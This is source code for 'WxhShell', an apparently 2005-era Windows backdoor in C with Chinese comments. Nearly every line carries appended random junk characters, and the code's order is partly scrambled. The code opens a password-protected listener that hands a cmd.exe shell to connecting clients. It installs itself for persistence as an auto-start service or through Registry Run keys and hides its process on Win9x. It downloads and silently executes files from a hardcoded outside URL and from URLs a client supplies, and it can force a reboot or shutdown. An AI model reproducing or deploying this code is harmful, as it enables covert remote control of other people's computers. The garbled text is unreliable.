    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HrM$NRhu  
    if(Boot(SHUTDOWN)) rD &D)w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F<|t\KOW  
    else { B^v8,;jZT  
    closesocket(wsh); 8sOQ9  
    ExitThread(0); O;uG?.\  
    } ~h$wH{-U#  
    break; -ijC_`>  
    } 6'vbT~S!  
  // 获取shell &,:h)  
  case 's': { `A@w7J'  
    CmdShell(wsh); 9902+pW  
    closesocket(wsh); 5's~>up&  
    ExitThread(0); G`0V)S  
    break; viX +|A4gJ  
  } g>JLDQdc  
  // 退出 H t(n%;<  
  case 'x': { j5$GFi\kB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o\VUD  
    CloseIt(wsh); (s<s@`  
    break; N2C7[z+l`  
    } hz:pbes  
  // 离开 M@et6aud;K  
  case 'q': { fmX!6Kv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r6Aneg7  
    closesocket(wsh); Vvp[P >  
    WSACleanup(); iUi>y.}"P  
    exit(1); nh+l7 8  
    break; Z4b||  
        } }<a^</s  
  } SmwQET<H  
  } !69&Ld  
zi@]83SS#  
  // 提示信息 cVnJ^*Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /]^#b  
} GL$De,V  
  } sgUud_r)4  
*ISZlR\#  
  return; KLWn?`  
} KngTc(^_D  
942lSyix  
// shell模块句柄 =q7Z qP  
int CmdShell(SOCKET sock) FS6`6M.K  
{  as yZe  
STARTUPINFO si; {i0SS  
ZeroMemory(&si,sizeof(si)); q?qC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H,unpZ(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I#F!N6;  
PROCESS_INFORMATION ProcessInfo; kRCQv-*  
char cmdline[]="cmd"; m0n)dje  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :KJ pk:<  
  return 0; \NZIEu)5?  
} bNs4 5hDP  
}@ Z56  
// 自身启动模式 a' Ki;]q  
int StartFromService(void) *iBTI+"]  
{ a8k;(/  
typedef struct ~}EMk3  
{ :}8Z@H!KkY  
  DWORD ExitStatus; .IBp\7W!?E  
  DWORD PebBaseAddress; 'rp }G&m  
  DWORD AffinityMask; ^&@w$  
  DWORD BasePriority; >@xrs  
  ULONG UniqueProcessId; &Mq~T_S  
  ULONG InheritedFromUniqueProcessId; \>LnLH(  
}   PROCESS_BASIC_INFORMATION; L!0OC''C  
g- AHdYJ  
PROCNTQSIP NtQueryInformationProcess; t7 n(Qkrv  
Q 1d'~e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '.Ed`?<p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -i0(2*<  
Un`^jw#_  
  HANDLE             hProcess; J%09^5:-z  
  PROCESS_BASIC_INFORMATION pbi; X+L) -d  
@AHm!9?o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U$]|~41#  
  if(NULL == hInst ) return 0; 9{k97D/  
^k5ll=}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )'17r82a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0sN.H=   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N{ Z  H  
3.22"U\1:  
  if (!NtQueryInformationProcess) return 0; 61puqiGG^  
::Ke ^dp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {~!q`Dr3?q  
  if(!hProcess) return 0; @1.QEyXG  
?0? R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q_* "SRz  
S5~VD?O,  
  CloseHandle(hProcess); -p3Re9  
,@1p$n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A+6 n#  
if(hProcess==NULL) return 0; \drqG&wl  
qmO6,T-|  
HMODULE hMod; @1*ohdHH  
char procName[255]; +fvaUV_-  
unsigned long cbNeeded; FZ!`B]]le,  
~|<WHHN (  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \fA{1  
bM8If"  
  CloseHandle(hProcess); mPI8_5V8]  
0/S_e)U  
if(strstr(procName,"services")) return 1; // 以服务启动 }ci#>  
3"o"fl  
  return 0; // 注册表启动 s! n<}C  
} 8} =JKR^cK  
nF6q7  
// 主模块 nKW*Y}VO  
int StartWxhshell(LPSTR lpCmdLine) x77l~=P+!  
{ >2bKSh  
  SOCKET wsl; PV|uPuz  
BOOL val=TRUE; ^Ge+~o?x  
  int port=0; j'9"cE5_  
  struct sockaddr_in door; :'#TCDlOb  
TXe$<4"  
  if(wscfg.ws_autoins) Install(); XsnF~)YW  
LP MU8Er  
port=atoi(lpCmdLine); /pF `8$  
:0s]U_h  
if(port<=0) port=wscfg.ws_port; x|yEt O&  
N<QXmgqx  
  WSADATA data; c478P=g=5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yjx|9_|Xn  
v) vkn/:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &u#&@J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pdE3r$C  
  door.sin_family = AF_INET; ?LvCR_D:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zZVfj:i8  
  door.sin_port = htons(port); z dO#0t N  
E<yW\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p.LFVFPT  
closesocket(wsl); v\p;SwI   
return 1; ]`Oo%$Ue  
} M5xCC!  
2W4qBaG$=  
  if(listen(wsl,2) == INVALID_SOCKET) { JV;OGh>  
closesocket(wsl); ]T%rjsN  
return 1; fk_o@ G!0  
} 5nsq[Q`  
  Wxhshell(wsl); ]Dw]p! @  
  WSACleanup(); rETRTp0HT  
cJ54s}  
return 0; #dM9pc jh  
P2bZ65>3y  
} Mn)@{^  
mdRU^n  
// 以NT服务方式启动 jQ:OKh<Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d/i`l*  
{ I1PuHf Qs  
DWORD   status = 0; =}.EY iD  
  DWORD   specificError = 0xfffffff; m 9/}~Y#k  
m=YU2!Mb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K_dOq68_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DZi!aJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o865 (<p  
  serviceStatus.dwWin32ExitCode     = 0; 5}`_x+$%(`  
  serviceStatus.dwServiceSpecificExitCode = 0; M)U{7c$c7  
  serviceStatus.dwCheckPoint       = 0; 3YVi" k?2  
  serviceStatus.dwWaitHint       = 0; -|E!e.^7:  
OoWyPdC+P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .k,kTr$ S  
  if (hServiceStatusHandle==0) return; 'Fmvu   
o<N  nV  
status = GetLastError(); EVoE szR  
  if (status!=NO_ERROR) /iX+R@  
{ 0{= `on;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,T2G~^0  
    serviceStatus.dwCheckPoint       = 0; *8LMn   
    serviceStatus.dwWaitHint       = 0; 7}X[ 4("bB  
    serviceStatus.dwWin32ExitCode     = status; 3D2E?$dX  
    serviceStatus.dwServiceSpecificExitCode = specificError; U~pV)J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P>Ez'C  
    return; )kP5u`v  
  } '_V2!?+RU+  
t^w"w`v\u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ';<0/U  
  serviceStatus.dwCheckPoint       = 0; xXM{pd  
  serviceStatus.dwWaitHint       = 0; utIX  %0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nqu>6^-z0  
} }K&7%N4LZ  
e d<n9R  
// 处理NT服务事件,比如:启动、停止 ]w.;4`l*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 78/Zk}I]  
{ 9]@A]p!  
switch(fdwControl) ~c&bH]cj  
{ bFW=ylF9  
case SERVICE_CONTROL_STOP: @7B$Yy#  
  serviceStatus.dwWin32ExitCode = 0; .C--gQpIv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (;q;E\Ej q  
  serviceStatus.dwCheckPoint   = 0; rYbpih=x  
  serviceStatus.dwWaitHint     = 0; ({q?d[q[  
  { 6q{HU]N+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Udov pl  
  } B&@?*^.  
  return; oZAB_A)[-  
case SERVICE_CONTROL_PAUSE: <TP=oq?I/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !P -^O  
  break; IP(Vr7-v  
case SERVICE_CONTROL_CONTINUE: L|,!?cSAT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;UfCj5`Q)4  
  break; ypy68_xyW  
case SERVICE_CONTROL_INTERROGATE: PS[+~>%  
  break; mFi&YpH u3  
}; %T~ig[GstX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Aku1h  
} tQjLOv+?=  
@~%r5pz6  
// 标准应用程序主函数 kOed ]>H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (JM5`XwM  
{ 9o+)?1\  
QDhOhGK  
// 获取操作系统版本 (_"*NY0  
OsIsNt=GetOsVer(); T7#W0^tj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 07[_.i.l  
uB]b}"+l  
  // 从命令行安装 VSSu &Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ba!J"b]  
*3?'4"B{8  
  // 下载执行文件 bLwAXW2K+  
if(wscfg.ws_downexe) { iB498t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3J5!oF{H  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'JRvP!]  
} 2'W<h)m)z  
>Vwc3d  
if(!OsIsNt) { hK_LEwd;  
// 如果时win9x,隐藏进程并且设置为注册表启动 aP/T<QZ~  
HideProc(); rsy'q(N[  
StartWxhshell(lpCmdLine); F 9@h|#an  
} sn)3Z A  
else zaK#Z?V}  
  if(StartFromService()) {$wjO7Glp  
  // 以服务方式启动 wf:OK[r9  
  StartServiceCtrlDispatcher(DispatchTable); fyByz=pl  
else  t$De/Uq  
  // 普通方式启动 ayfFVTy1d  
  StartWxhshell(lpCmdLine); &8vCZN^  
< Pky9o;  
return 0; 9;B0Mq py  
} <x<"n t  
;u>DNG|.  
`nZ)>  
RE/~#k@a  
=========================================== 1fZ(l"  
u)~C;f)  
 7*?}:  
E<Q f!2s$  
RH&~+5  
U4b0*`o  
" iT%} $Lu~  
yc?a=6q'm  
#include <stdio.h> }#n;C{z2e  
#include <string.h> ~1>.A(,=z  
#include <windows.h> PEc=\?  
#include <winsock2.h> ZR(x%ews  
#include <winsvc.h> Yj6*NZ*  
#include <urlmon.h> njWL U!  
0Nnsjh  
#pragma comment (lib, "Ws2_32.lib") G1o3l~x  
#pragma comment (lib, "urlmon.lib") lLF-{  
_t Yx~J2.Q  
#define MAX_USER   100 // 最大客户端连接数 "$2 y-|  
#define BUF_SOCK   200 // sock buffer n:{qC{D-qS  
#define KEY_BUFF   255 // 输入 buffer 'coV^~qy  
pLLGus+W  
#define REBOOT     0   // 重启 Bi @2  
#define SHUTDOWN   1   // 关机 %>g3~yl  
`#;e)1  
#define DEF_PORT   5000 // 监听端口 m>MB7,C;N  
Ndi9FD3im  
#define REG_LEN     16   // 注册表键长度 XBp?w  
#define SVC_LEN     80   // NT服务名长度 a_'2V;  
//s:5S<Z  
// 从dll定义API !X;1}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LdL/399<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wwr;-Qa}g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H*$jc\ dC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d'G0m9u2  
6jC`8l:  
// wxhshell配置信息 Bg|5KOnd  
struct WSCFG { 4X+ifZO  
  int ws_port;         // 监听端口 Y07ZB'K  
  char ws_passstr[REG_LEN]; // 口令 '.81zpff  
  int ws_autoins;       // 安装标记, 1=yes 0=no SAyufLEv,  
  char ws_regname[REG_LEN]; // 注册表键名 @T'i/}nl  
  char ws_svcname[REG_LEN]; // 服务名 kNobl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _s .G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v5QqS8u_C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2AO~HxF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jAm3HI   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +PcmJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c+hQSm|bf)  
paD!Z0v&  
}; 7r~~Y%=C|  
B4i!/@0s  
// default Wxhshell configuration g.zEn/SM  
struct WSCFG wscfg={DEF_PORT, yL2o}ZbS  
    "xuhuanlingzhe", fR*q?,  
    1, &i$ldR  
    "Wxhshell", Stu4t==U  
    "Wxhshell", \uza=e  
            "WxhShell Service", ,v';>.]  
    "Wrsky Windows CmdShell Service", $**r(HV  
    "Please Input Your Password: ", Ljx(\Cm  
  1, d ysC4DS  
  "http://www.wrsky.com/wxhshell.exe", &3TEfvz  
  "Wxhshell.exe" X ><?F|#7T  
    }; HLV2~5Txc  
4Dw@r{  
// 消息定义模块 mg$]QnbAnH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `CgaS#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P dhEQ}H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n8".XS  
char *msg_ws_ext="\n\rExit."; <7j87  
char *msg_ws_end="\n\rQuit."; BA%pY|"Q  
char *msg_ws_boot="\n\rReboot..."; '<ZlGFt'n  
char *msg_ws_poff="\n\rShutdown..."; 'gPzm|f|t@  
char *msg_ws_down="\n\rSave to "; k6sI L3QJ0  
}Du}c3  
char *msg_ws_err="\n\rErr!"; 'i4_`^:+  
char *msg_ws_ok="\n\rOK!"; ,Qe?8En[  
a{qM2P(S  
char ExeFile[MAX_PATH]; ZI3Nq  
int nUser = 0; 8(~K~q[Cr  
HANDLE handles[MAX_USER]; `O[};3O&  
int OsIsNt; Cif>7]M  
LYaZ1*  
SERVICE_STATUS       serviceStatus; /oR<A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %0,#ADCqOe  
R}4So1  
// 函数声明 |Y[wzDYV  
int Install(void); d+Ek%_  
int Uninstall(void); T ^~5n6  
int DownloadFile(char *sURL, SOCKET wsh); zY"1drE>G  
int Boot(int flag); @M5#S7q";  
void HideProc(void); 9+{G8$Ai  
int GetOsVer(void); JSTuXW  
int Wxhshell(SOCKET wsl); O"c;|zCc>  
void TalkWithClient(void *cs); y6[IfcN  
int CmdShell(SOCKET sock); |>tKq;/  
int StartFromService(void); .R./0Ot tx  
int StartWxhshell(LPSTR lpCmdLine); v,4pp@8rv  
3 %|86:*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G}:lzOlMH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m6[0Kws&  
s1h/}  
// 数据结构和表定义 [N#, K02mk  
SERVICE_TABLE_ENTRY DispatchTable[] = 49dd5ddr  
{ b#hDHSdZ,  
{wscfg.ws_svcname, NTServiceMain}, or';A'k  
{NULL, NULL} i5K[>5  
}; F=a<~EpZ  
}A7j/uy}s  
// 自我安装 iTAx=SG  
int Install(void) Htgx`N|  
{ 2VE9}%i  
  char svExeFile[MAX_PATH]; G %Q^o5m  
  HKEY key; 7[5.> h  
  strcpy(svExeFile,ExeFile); S>]pRV9rT  
t_qNq{  
// 如果是win9x系统,修改注册表设为自启动 ]A<~XIu  
if(!OsIsNt) { fH >NJK;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Hxd*S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WzF !6n!h  
  RegCloseKey(key); h9Y%{v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C@L$~iG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,~OwLWi-|X  
  RegCloseKey(key); U~j ^I^  
  return 0; 0QOBL'{7)  
    } W^] 3XJP  
  } 'zGo?a  
} s#tZg  
else { 0iwZT&O  
^k#P5oV  
// 如果是NT以上系统,安装为系统服务 Gch[Otq]%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lo,$-bJ,<,  
if (schSCManager!=0) h_T7% #0  
{ %]8qAtV^3j  
  SC_HANDLE schService = CreateService NwG= <U*  
  ( ,H19`;Q  
  schSCManager, G6FEp`  
  wscfg.ws_svcname, Dqe^E%mc  
  wscfg.ws_svcdisp, XAe% m^  
  SERVICE_ALL_ACCESS, kZerKP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iMP]W _  
  SERVICE_AUTO_START, ^WNrGF  
  SERVICE_ERROR_NORMAL, }t%!9hr5D  
  svExeFile, /S(zff[at  
  NULL, vbD{N3p)?n  
  NULL, 4y'OMRy  
  NULL, Wv/%^3  
  NULL, ( m:Zk$  
  NULL Oms. e  
  ); dOoKLry  
  if (schService!=0) Jh?dw3Ai^  
  { rjPL+T_  
  CloseServiceHandle(schService); j(k: @  
  CloseServiceHandle(schSCManager); qQsku;C?i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4@ML3d/  
  strcat(svExeFile,wscfg.ws_svcname); frT]5?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S& \L-@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .b-f9qc=  
  RegCloseKey(key); 2m35R&  
  return 0; tP2qK_\e=  
    } YA +E\  
  } s+EAB{w$  
  CloseServiceHandle(schSCManager); Gmq/3tw  
} m$W <  
} S!3S4:]B^  
- qy6Un+  
return 1; c(n&A~*AJ%  
} isZAoYVu  
v(-{=*':  
// 自我卸载 nx^]>w  
int Uninstall(void) B{C??g8/  
{ n>^Y$yy}!  
  HKEY key; Z<SLc,]^  
'b#0t#|TM  
if(!OsIsNt) { )p~BQ~eip;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^*S)t. "  
  RegDeleteValue(key,wscfg.ws_regname); @g$Gti  
  RegCloseKey(key); N%"Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 72Iy^Y[MX  
  RegDeleteValue(key,wscfg.ws_regname); "Za >ZRR  
  RegCloseKey(key); k=B] &F  
  return 0; (jFGa2{  
  } S<WdZ=8sA  
} SOi*SwQ8  
} oNU0 qZ5  
else { tdSfi<y5I  
lq>+~zX{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {6c2{@  
if (schSCManager!=0) r!HwXeEn/  
{ 5c^Z/ Jl$c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u a~CEs  
  if (schService!=0) E gal4  
  { `}l JH i  
  if(DeleteService(schService)!=0) { IuOgxm~Y  
  CloseServiceHandle(schService); }f8Uc+  
  CloseServiceHandle(schSCManager); u#V5?i  
  return 0; K!'AkTW+-  
  } C0 /g1;p(  
  CloseServiceHandle(schService); w - Pk7I  
  } 3&[>u;Bp  
  CloseServiceHandle(schSCManager); b D[!/'4eJ  
} M5*{  
} -R%<.]fJ  
7A\~)U @  
return 1; DV\`Wv  
} B]Y}Hu  
j^;I3_P  
// 从指定url下载文件 z6?)3'  
int DownloadFile(char *sURL, SOCKET wsh) lmxr oHE  
{ B,K>rCZ/  
  HRESULT hr; FcRW;e8-  
char seps[]= "/"; Ircp``g  
char *token; 9f',7i  
char *file; USVqB\#  
char myURL[MAX_PATH]; ;IVDr:  
char myFILE[MAX_PATH]; 8ZKo_I\  
C#t'Y*  
strcpy(myURL,sURL); 9XRZ$j}L  
  token=strtok(myURL,seps); t7m>A-I  
  while(token!=NULL) |pmZ.r  
  { Bnb#{tL  
    file=token; u)V#S:9]  
  token=strtok(NULL,seps); BvR-K\rx  
  } 91q8k=p  
i 2sN3it  
GetCurrentDirectory(MAX_PATH,myFILE); -Y*bSP)\  
strcat(myFILE, "\\"); \L(*]:EP  
strcat(myFILE, file); EvWzq%z l  
  send(wsh,myFILE,strlen(myFILE),0); 5o6>T!  
send(wsh,"...",3,0); <HJl2p N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <%Ostqj  
  if(hr==S_OK) i%g#+Gw  
return 0; C":o/;,1  
else n[]tXrhU  
return 1; ) :\xHR4  
(d<4"!  
} )@L'wW  
e?Ho a$k  
// 系统电源模块 98WZ){+,m  
int Boot(int flag) RheRe  
{ XvE9 b5}  
  HANDLE hToken; QR Ei7@t  
  TOKEN_PRIVILEGES tkp; /,X[k !  
*3&fqBg  
  if(OsIsNt) { g+ MdHn[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]6{*^4kX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^ mS o1?<  
    tkp.PrivilegeCount = 1; |6(ZD^w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; raCi 8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uFLx  
if(flag==REBOOT) { d ,Y#H0`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C%U`"-%n@7  
  return 0; BWM YpZom  
} ^.hoLwp.  
else { kf;/c}}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q^q1 ns;r  
  return 0; F P>)&3>_  
} .'rW.'Ft  
  } S=nP[s  
  else { `"@g8PWe  
if(flag==REBOOT) { }Y*VAnY6;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ' /$d0`3B>  
  return 0; OI?K/rn  
} A5H3%o(6k  
else { <TE%Prd}`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T<L^N+<,{N  
  return 0; Pf_S[ sm  
} zt<WXw(  
} Y= ]dvc  
GHHav12][  
return 1; bg3"W,bv%  
} TD9;kN1`  
Xu>r~^w=S  
// win9x进程隐藏模块 r)1'ePI"  
void HideProc(void) WJ d%2pO]  
{ 24/XNSE,-  
w,Lvt }  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OKP9CLg9  
  if ( hKernel != NULL ) q-rB2  
  { 8>.J1C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?  BE6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gi-Yqco  
    FreeLibrary(hKernel); =r.mlc``W  
  } !TP@- X;  
yY&3p1AxW]  
return; LS5vW|]w  
} Qq@G\eRo  
.(X lg-H,  
// 获取操作系统版本 ]/!<PF  
int GetOsVer(void) (^5 7UmFv]  
{ e+]6OV&+  
  OSVERSIONINFO winfo; m "M("%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `zR+tbm  
  GetVersionEx(&winfo); Kv rX{F=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h8Xg`C\  
  return 1; ) gzR=9l  
  else e{A9r@p!  
  return 0; +MB!B9M@  
} [F*4EGB  
O4g+D#Lu  
// 客户端句柄模块 s (0*  
int Wxhshell(SOCKET wsl) xy<`#  
{ 90# ;?#  
  SOCKET wsh; >^OC{~Az  
  struct sockaddr_in client; R@*O!bD  
  DWORD myID; d7&eLLx  
Qf| U0  
  while(nUser<MAX_USER) nZ_v/?O  
{ ,j?.4{rHJ  
  int nSize=sizeof(client); SR8qt z/V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #k$)i[aI-  
  if(wsh==INVALID_SOCKET) return 1; 1N\D5g3  
c=;:R0_'t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N,J9Wu ZJ\  
if(handles[nUser]==0) =B];?%  
  closesocket(wsh); t'~/$=9}  
else Lqp8yVO  
  nUser++; P1U*g!  
  } Pe_!?:vF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HJC(\\~  
=rd|0K"(r  
  return 0; 4#(ZNP  
} 1TM~*<Jb  
teW6;O_  
// 关闭 socket DS2)@  
void CloseIt(SOCKET wsh)  /q@ s  
{ 3s:%2%jVK  
closesocket(wsh); =X!IH d0  
nUser--; <|*'O5B  
ExitThread(0); om3`[r[{  
} }%-t+Tf,  
#-"VS-.<  
// 客户端请求句柄 J@ L9p46,  
void TalkWithClient(void *cs) S|zW^|YU  
{ <X_!x_x  
!~ZP{IXyo  
  SOCKET wsh=(SOCKET)cs; jhGlG-^  
  char pwd[SVC_LEN]; S\wW)Pv8  
  char cmd[KEY_BUFF]; m))<!3  
char chr[1]; cM&2SRBZ  
int i,j; Q*YYTmZ  
@f!AkzI  
  while (nUser < MAX_USER) { fRvAKz|rL  
kL90&nP   
if(wscfg.ws_passstr) { #RMI&[M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2`a q**}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ C0TD7=  
  //ZeroMemory(pwd,KEY_BUFF); =1oNZKBP  
      i=0; `T2<<<  
  while(i<SVC_LEN) { J R PSvP\  
+y#T?!jQYj  
  // 设置超时 O%f8I'u$  
  fd_set FdRead; &48_2Q"{  
  struct timeval TimeOut; M0c 9pE  
  FD_ZERO(&FdRead); o+?r I p  
  FD_SET(wsh,&FdRead); W"Jn(:&  
  TimeOut.tv_sec=8; @4!x>q$3  
  TimeOut.tv_usec=0; e9^2,:wLB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1P]de'-`j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )2Hff.  
l+wc '= ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8z<r.joxC  
  pwd=chr[0]; U,lJ"$'  
  if(chr[0]==0xd || chr[0]==0xa) { >J=<bhR  
  pwd=0; ~/IexQB&  
  break; m~],nl  
  } ?G08NR  
  i++; {^Pq\h;  
    } [<wbbvXR  
Fvxu >BK  
  // 如果是非法用户,关闭 socket 8V$3b?]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oh#> 5cA8  
} &kQ!KA28  
q6wr=OWD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G_Ay   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y_}SK6{  
o0p T6N)  
while(1) { WA)Ij(M8 p  
z{BA4sn  
  ZeroMemory(cmd,KEY_BUFF); !]S=z^"<  
-qebQv  
      // 自动支持客户端 telnet标准   l SkEuN  
  j=0; 3^.8.q(6  
  while(j<KEY_BUFF) { \NXQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M0-,M/]l  
  cmd[j]=chr[0]; QMk+RM8U  
  if(chr[0]==0xa || chr[0]==0xd) {  yu ,h\  
  cmd[j]=0; &!y]:CC{  
  break; mEQ!-p   
  } {$^SP7qV#>  
  j++; -)<m S  
    } 2 Y|D'^  
,vG<*|pn  
  // 下载文件 :+ ,st&(E  
  if(strstr(cmd,"http://")) { >]}yXg=QK+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +#]|)V Z  
  if(DownloadFile(cmd,wsh)) EX?h0Uy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2/{3m{3A  
  else ~F#A Pt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wH!#aB>kP  
  } bj"z8kP  
  else { m1.B\~S3  
.yVnw^gu  
    switch(cmd[0]) { 2W3W/> 2 h  
  dALK0U  
  // 帮助 B; -2$ 77  
